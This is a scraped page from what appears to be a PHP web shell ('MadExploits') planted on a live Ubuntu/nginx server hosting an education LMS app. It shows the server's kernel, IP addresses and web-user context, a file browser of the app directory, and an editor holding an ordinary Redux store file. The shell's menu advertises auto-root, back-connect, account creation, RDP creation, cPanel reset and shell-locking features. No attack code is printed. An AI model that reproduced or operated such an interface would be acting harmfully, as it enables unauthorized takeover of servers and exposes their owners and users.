Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
app /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
components
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
containers
[ DIR ]
drwxr-xr-x
edusewa
[ DIR ]
drwxr-xr-x
helpers
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
service
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwxr-xr-x
types
[ DIR ]
drwxr-xr-x
utils
[ DIR ]
drwxr-xr-x
.htaccess
1.75
KB
-rw-r--r--
.nginx.conf
3.21
KB
-rw-r--r--
app.tsx
4.15
KB
-rw-r--r--
configureStore.ts
4.25
KB
-rw-r--r--
global-styles.ts
658
B
-rw-r--r--
globals.d.tsx
401
B
-rw-r--r--
i18n.ts
1.26
KB
-rw-r--r--
index.html
6.25
KB
-rw-r--r--
locales.ts
95
B
-rw-r--r--
reducers.ts
3.76
KB
-rw-r--r--
saga.tsx
2.72
KB
-rw-r--r--
utils.d.ts
74
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : configureStore.ts
/** * Create the store with dynamic reducers */ import { applyMiddleware, createStore, compose } from 'redux'; import { routerMiddleware } from 'connected-react-router'; import { createInjectorsEnhancer, forceReducerReload } from 'redux-injectors'; import createSagaMiddleware from 'redux-saga'; import { History } from 'history'; import { composeWithDevTools } from 'redux-devtools-extension'; import createReducer from './reducers'; import rootSaga from './saga'; import { InjectedStore, ApplicationRootState } from 'types'; import eduSewaReducers from './edusewa/reducers/rootReducer'; import thunk from 'redux-thunk'; export default function configureStore( initialState: ApplicationRootState | {} = {}, history: History, ) { const reduxSagaMonitorOptions = {}; const sagaMiddleware = createSagaMiddleware(reduxSagaMonitorOptions); const { run: runSaga } = sagaMiddleware; // Create the store with two middlewares // 1. sagaMiddleware: Makes redux-sagas work // 2. routerMiddleware: Syncs the location/URL path to the state const middlewares = [sagaMiddleware, routerMiddleware(history), thunk]; const enhancers = [ applyMiddleware(...middlewares), createInjectorsEnhancer({ createReducer, runSaga, }), ]; let enhancer; // If Redux Dev Tools and Saga Dev Tools Extensions are installed, enable them /* istanbul ignore next */ if (process.env.NODE_ENV !== 'production' && typeof window === 'object') { enhancer = composeWithDevTools(...enhancers); // NOTE: Uncomment the code below to restore support for Redux Saga // Dev Tools once it supports redux-saga version 1.x.x // if (window.__SAGA_MONITOR_EXTENSION__) // reduxSagaMonitorOptions = { // sagaMonitor: window.__SAGA_MONITOR_EXTENSION__, // }; } else { enhancer = compose(...enhancers); } const store = createStore( createReducer(eduSewaReducers), initialState, enhancer, ) as InjectedStore; // Extensions sagaMiddleware.run(rootSaga); store.runSaga = sagaMiddleware.run; store.injectedReducers = {}; // Reducer registry store.injectedSagas = {}; // Saga registry // Make reducers hot reloadable, see http://mxs.is/googmo /* istanbul ignore next */ if (module.hot) { module.hot.accept('./reducers', () => { forceReducerReload(store); }); } return store; } // import { createStore, applyMiddleware, compose } from 'redux'; // import thunk from 'redux-thunk'; // import { createLogger } from 'redux-logger'; // import { persistStore, persistReducer } from 'redux-persist'; // import storage from 'redux-persist/lib/storage'; // import autoMergeLevel2 from 'redux-persist/lib/stateReconciler/autoMergeLevel2'; // import createReducer from './reducers'; // import eduSewaReducers from './edusewa/reducers'; // import { InjectedStore, ApplicationRootState } from 'types'; // import createSagaMiddleware from 'redux-saga'; // import { routerMiddleware } from 'connected-react-router'; // import { History } from 'history'; // export default function configureStore( // initialState: ApplicationRootState | {} = {}, // history: History, // ) { // const persistConfig = { // key: 'root', // storage: storage, // stateReconciler: autoMergeLevel2, // whitelist: ['settings'], // }; // const reduxMiddlewares = [thunk]; // if ( // process.env.REACT_APP_DEBUG === '*' || // process.env.NODE_ENV !== 'production' // ) { // const reduxLogger = createLogger({ // // filter VOLUME level actions from log // predicate: (getState, action) => !(action.type === 'SET_PEER_VOLUME'), // duration: true, // timestamp: false, // level: 'log', // logErrors: true, // }); // reduxMiddlewares.push(reduxLogger); // } // const composeEnhancers = compose // const reduxSagaMonitorOptions = {}; // const sagaMiddleware = createSagaMiddleware(reduxSagaMonitorOptions); // const { run: runSaga } = sagaMiddleware; // const middlewares = [sagaMiddleware, routerMiddleware(history)]; // const enhancer = composeEnhancers(applyMiddleware(...reduxMiddlewares, ...middlewares)); // const pReducer = persistReducer(persistConfig, createReducer(eduSewaReducers)); // return createStore(createReducer(eduSewaReducers), initialState, enhancer)as InjectedStore; // } // export const persistor = persistStore(store);
Close